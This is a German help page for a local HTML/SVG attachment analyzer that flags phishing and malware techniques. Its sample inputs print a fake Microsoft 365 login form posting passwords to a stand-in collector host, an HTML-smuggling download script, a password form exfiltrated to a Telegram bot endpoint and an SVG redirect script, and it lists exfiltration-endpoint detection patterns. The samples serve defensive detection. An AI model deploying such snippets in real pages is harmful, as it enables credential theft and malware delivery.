Dateien und Seiten

HTML-Anhang-Analyzer

Läuft lokalNeu

Das Tool selbst ist auf Englisch; auf dieser Seite wird es in Ihrer Sprache erklärt.

HTML-Anhang-Analyzer verwenden

Was es bewirkt

Laden Sie einen HTML- oder SVG-Anhang oder fügen Sie ihn ein, um zu sehen, was er beim Öffnen tun würde: versteckte Downloads, Formulare, die ein Passwort an andere Adressen senden, Weiterleitungen, Exfiltrations-Endpunkte und verschleierter Code. Die Datei wird als Text gelesen und nie gerendert oder ausgeführt.

Es läuft vollständig in Ihrem Browser: Es werden keine Ihrer Eingaben hochgeladen.

So verwenden Sie HTML-Anhang-Analyzer

  1. Datei nicht öffnen. Speichern Sie den Anhang (.html, .htm, .shtml, .xhtml oder .svg), ohne ihn zu öffnen, oder kopieren Sie seinen Quelltext als Text.
  2. Laden oder einfügen. Ziehen Sie die Datei auf das Feld oder wählen Sie sie aus (bis 25 MB), oder fügen Sie den Quelltext ein (bis 5 MB) und drücken Sie Analyze oder Strg+Enter.
  3. Urteil lesen. Das obere Feld zeigt High risk, Suspicious oder No high-risk patterns found, mit den zugrunde liegenden Kategorien und der Anzahl der Befunde, IOCs und eingebetteten Blobs.
  4. Befunde durchgehen. Jeder Befund zeigt Schweregrad, Kategorie, Zeilennummer und den passenden Quelltext, mit entschärften Links und Adressen.
  5. Ergebnisse exportieren. Kopieren Sie die IOCs entschärft oder roh, oder verwenden Sie Send to für IOC Converter, Abuse Report Generator oder, bei einem eingebetteten Blob, Multi-Layer Decoder.

Beispiel

Anmeldeformular mit vorausgefüllter Adresse

Eingabe
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Ausgabe (aufgezeichnet am 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

High risk: Das Anmeldeformular sendet das Passwort an collector[.]example, der Titel nennt Microsoft 365 neben einem Passwortfeld, und das Skript füllt die E-Mail-Adresse mit atob aus dem URL-Fragment aus. Die IOC-Liste enthält die Collector-URL und ihre Domain, entschärft.

Was dabei geprüft wird

SignalWas das bedeutet
HTML SmugglingHigh, wenn die Seite eine Datei im Speicher erzeugt (Blob mit createObjectURL oder einem Download-Link, oder msSaveOrOpenBlob) und sie als Download anbietet.
FormulareJedes Formular, das an eine andere Website sendet, wird als high eingestuft, und der Titel sagt, wenn es ein Passwort enthält. Die Tabelle Forms listet auf, wohin jedes Formular sendet, seine Methode und seine Felder.
Exfiltrations-EndpunkteAufrufe der Telegram Bot API, Bot-Tokens, Discord-Webhooks und Dienste zum Sammeln von Formulardaten wie formspree.io oder webhook.site werden als high eingestuft.
Verschleierungatob, unescape, fromCharCode, lange Escape-Folgen und Ausgaben bekannter Obfuscatoren. Literale kodierte Strings werden dekodiert, ohne sie auszuführen.
Dynamischer Codeeval, der Function-Konstruktor, document.write und innerHTML-Zuweisungen erzeugen Code oder Markup zur Laufzeit.
WeiterleitungenÄnderungen von location, window.open, Meta-Refresh und das Auslesen des URL-Fragments, über das Kits oft die E-Mail-Adresse des Opfers übergeben.
Anti-AnalyseGesperrter Rechtsklick oder F12, debugger-Anweisungen, Erkennung der Entwicklertools und Prüfungen auf automatisierte Browser.
Eingebettete Inhaltedata:-URIs, lange Base64- oder Hex-Blobs und der Dateityp, zu dem sie dekodieren, versteckte iframes und SVG-Dateien, die Skripte enthalten.
MarkenhinweiseMarkennamen im Titel, in Logos oder Links. Neben einem Passwortfeld wird das als medium eingestuft.

Weitere Beispiele

Ein im Browser erzeugter Download

Eingabe
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Ergebnis

High risk, Grund HTML smuggling: 1 Befund high (die Seite setzt im Browser eine Datei zusammen und bietet sie als Download an) und 4 Befunde medium für atob, new Blob, URL.createObjectURL und das download-Attribut. Keine IOCs.

Ein Passwort, das an einen Telegram-Bot gesendet wird

Eingabe
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Ergebnis

High risk, Grund Data exfiltration: Ein Skript sendet Daten von einer Seite mit Passwortfeld an api.telegram.org, dazu der Befund zum Endpunkt der Telegram Bot API. Befunde medium betreffen fetch, das Passwortfeld und ein Anmeldeformular ohne externe action.

Ein SVG-Bild mit Weiterleitung

Eingabe
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Ergebnis

High risk: SVG-Datei mit Skript, dazu ein Befund medium zur Weiterleitung und ein Befund low zu btoa. Das Ziel erscheint unter Requests and redirects als andere Website, und die URL des XML-Namespace wird nicht in die IOCs aufgenommen.

Häufig gestellte Fragen

Wonach sucht der Analyzer?

Er gleicht den Quelltext mit Regeln ab für HTML Smuggling (Blob, createObjectURL, msSaveOrOpenBlob, Download-Links, data:-URIs und lange Base64-Blobs), Formulare und Skripte, die Daten an andere Websites senden, Exfiltration über Telegram und Discord, Weiterleitungen, versteckte iframes, Obfuscatoren und Anti-Analyse-Tricks. Außerdem dekodiert er atob-, unescape- und fromCharCode-Literale, ohne sie auszuführen, und listet jede gefundene URL, Domain, IP-Adresse und E-Mail-Adresse entschärft auf.

Kann er etwas übersehen oder Fehlalarm auslösen?

Ja. Verschlüsselter oder zur Laufzeit erzeugter Code kann sein Verhalten vor einer statischen Analyse verbergen, und gewöhnliche Seiten verwenden ebenfalls fetch, innerHTML oder eingebettete Bilder; lesen Sie daher den passenden Quelltext, der neben jedem Befund angezeigt wird. Für Deobfuskation und Emulation in einer Sandbox verwenden Sie JS Analyzer.

Wird die Datei hochgeladen oder geöffnet?

Nein. Die Datei wird in Ihrem Browser als Text gelesen und nie gerendert, ausgeführt oder irgendwohin gesendet. Dateien bis 25 MB werden akzeptiert; bei sehr großen werden die ersten 4 MB und das letzte 1 MB Markup geprüft, und eingebettete Blobs werden in der gesamten Datei gezählt.

Warum wird ein SVG-Bild wie eine Webseite geprüft?

SVG-Dateien sind XML, das Browser wie Seiten öffnen, daher können sie Skripte, Links und eingebettetes HTML enthalten. Ein Bild braucht kein Skript, daher wird ein Skript in einem SVG als high eingestuft.

Was sind eingebettete Blobs?

Lange Base64-, Hex- oder Byte-Array-Strings in der Datei. Sie werden im Speicher dekodiert und mit dem Dateityp gekennzeichnet, der daraus entsteht; Sie können einen kopieren oder einen Text-Blob an Multi-Layer Decoder senden.

Was bedeuten die Schweregrade?

High markiert Muster, auf die Phishing- und Malware-Anhänge angewiesen sind, etwa Smuggling, Exfiltrations-Endpunkte oder ein Passwortformular, das an andere Adressen sendet. Medium umfasst Techniken, die auch gewöhnliche Seiten verwenden. Ein einziger Befund high macht das Urteil zu High risk.

Begriffserläuterungen

PhishDestroy-Forschung